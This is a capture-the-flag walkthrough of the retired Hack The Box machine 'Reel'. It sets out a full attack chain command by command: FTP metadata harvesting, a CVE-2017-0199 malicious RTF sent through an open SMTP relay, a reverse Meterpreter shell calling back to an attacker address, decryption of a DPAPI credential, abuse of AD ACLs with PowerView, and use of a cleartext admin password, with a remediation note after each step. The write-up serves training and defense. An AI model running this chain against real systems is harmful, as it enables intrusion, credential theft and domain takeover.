Reel
Summary
Target REEL ($TARGET, Windows Server 2012 R2, HTB.LOCAL domain) was fully compromised through a client-side attack chain. An anonymous FTP share exposed internal .docx documents whose EXIF metadata identified the staff email address nico@megabank.com; a readme in the same share confirmed that employees open RTF files sent to that address for review. I weaponised CVE-2017-0199 (a logic flaw that causes Office/WordPad to silently fetch and execute a remote HTA file when an RTF is opened) and delivered the document through the target's own unauthenticated SMTP relay, earning a reverse Meterpreter shell as HTB\nico.
A DPAPI-encrypted PowerShell credential XML file on nico's desktop decrypted transparently inside my session, revealing SSH credentials for HTB\Tom. Tom's desktop held an AD Audit folder with BloodHound data and PowerView; ACL review exposed a two-hop DACL chain: tom held WriteOwner over the user claire, and claire held WriteDACL over the Backup_Admins group. Four PowerView calls (ownership transfer, DACL grant, password reset, group membership) walked that chain to place a controlled account inside Backup_Admins.
Backup_Admins membership unlocked the Administrator's backup script, which contained a hardcoded cleartext Domain Admin password. SSH as Administrator completed full domain compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Attack path: how the box was taken
Exact commands 5
Service fingerprint: confirm anonymous FTP, open SMTP, and AD port layout.
$ nmap -sV -sC -p 21,22,25,135,139,445,593 $TARGETList the anonymous FTP share without credentials.
$ curl ftp://$TARGET/documents/ --user anonymous:anonymous --list-onlyMirror all documents to disk.
$ wget -r ftp://$TARGET/documents/ --user anonymous --password anonymousExtract metadata: Author field reveals nico@megabank.com.
$ exiftool AppLocker.docx 'Windows Event Forwarding.docx'Read the file: confirms staff open RTF files emailed to nico@megabank.com.
$ cat readme.txtFixDisable anonymous FTP and remove sensitive documents from internet-facing sharesHigh
Exact commands 3
Launch Metasploit console.
$ msfconsole -qSelect the CVE-2017-0199 weaponization module.
$ use exploit/windows/fileformat/office_word_htaGenerate the malicious RTF, start the HTA HTTP server, and arm the reverse-shell handler. Replace $ATTACKER_IP with your address reachable from $TARGET.
$ set FILENAME reel_procedure.rtf
set SRVHOST $ATTACKER_IP
set SRVPORT 8080
set URIPATH /
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST $ATTACKER_IP
set LPORT 4444
runFixPatch CVE-2017-0199 and harden Office OLE/HTA execution policyCritical
Exact commands 4
Deliver the malicious RTF through the target's unauthenticated SMTP relay.
$ swaks --to nico@megabank.com --from admin@megabank.com --server $TARGET:25 --subject 'Updated RTF Procedure' --body 'Please review the attached procedure document.' --attach reel_procedure.rtfIn msfconsole: interact with the Meterpreter callback after nico opens the file.
$ sessions -i 1Confirm shell context. Expected: Server Username: HTB\nico.
$ getuidDrop to cmd shell and read the user flag: value is <user.txt>.
$ shell
type C:\Users\nico\Desktop\user.txtFixClose the unauthenticated SMTP relay and filter inbound attachmentsHigh
Exact commands 2
Run inside the nico Meterpreter shell session: decrypts the stored credential transparently.
$ powershell.exe -NoProfile -Command "$c = Import-Clixml 'C:\Users\nico\Desktop\cred.xml'; $c.UserName; $c.GetNetworkCredential().Password"Log in as Tom using the recovered plaintext password.
$ ssh tom@$TARGETFixRemove DPAPI-encrypted credential XML files from user desktopsHigh
Exact commands 2
Locate BloodHound and PowerView tools on tom's desktop.
$ dir /s /b "C:\Users\Tom\Desktop\AD Audit"Filter the pre-collected ACL data to reveal the DACL privilege chain.
$ powershell -NoProfile -Command "Import-Csv 'C:\\Users\\Tom\\Desktop\\AD Audit\\acls.csv' | Where-Object { $_.PrincipalName -match 'Tom|Claire|Backup' } | Select-Object PrincipalName, ObjectDN, ActiveDirectoryRights | Format-Table -AutoSize"FixAudit and remove excessive AD DACL rights (WriteOwner / WriteDACL / GenericWrite)Critical
Exact commands 8
Load PowerView in tom's SSH session.
$ Import-Module 'C:\Users\Tom\Desktop\AD Audit\BloodHound\PowerView.ps1'Make tom the AD owner of the claire user object (requires WriteOwner).
$ Set-DomainObjectOwner -Identity claire -OwnerIdentity tom -VerboseGrant tom the right to reset claire's password.
$ Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword -VerboseReset claire's password to a known value.
$ Set-DomainUserPassword -Identity claire -AccountPassword (ConvertTo-SecureString "$PASSWORD2" -AsPlainText -Force) -VerboseLog in as claire with the new password.
$ ssh claire@$TARGETIn claire's session: copy PowerView to a writable location.
$ copy "C:\Users\Tom\Desktop\AD Audit\BloodHound\PowerView.ps1" C:\Windows\Temp\PowerView.ps1Grant claire WriteMembers on Backup_Admins (exercises claire's WriteDACL right).
$ Import-Module C:\Windows\Temp\PowerView.ps1; Add-DomainObjectAcl -TargetIdentity 'Backup_Admins' -PrincipalIdentity claire -Rights WriteMembers -VerboseAdd claire to the Backup_Admins group.
$ Add-DomainGroupMember -Identity 'Backup_Admins' -Members claire -VerboseExact commands 4
Open a fresh SSH session as tom: required for Backup_Admins to appear in the access token.
$ ssh tom@$TARGETConfirm Backup_Admins membership is present in the new session token.
$ whoami /groups | findstr /i backupRead the backup script: reveals cleartext Administrator credentials.
$ type "C:\Users\Administrator\Desktop\Backup Scripts\BackupScript.ps1"Log in as Domain Admin and read root.txt: value is <root.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null Administrator@$TARGET 'cmd /c "whoami & type C:\Users\Administrator\Desktop\root.txt"'
htb\administratorFixEliminate cleartext credentials from backup scripts and rotate the Domain Admin passwordCritical
Exposed services
| 21/tcp | ftp Microsoft ftpd |
| 22/tcp | ssh OpenSSH 7.6 (protocol 2.0) |
| 25/tcp | smtp |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 445/tcp | microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: HTB) |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 49159/tcp | unknown recon-sweep-discovered |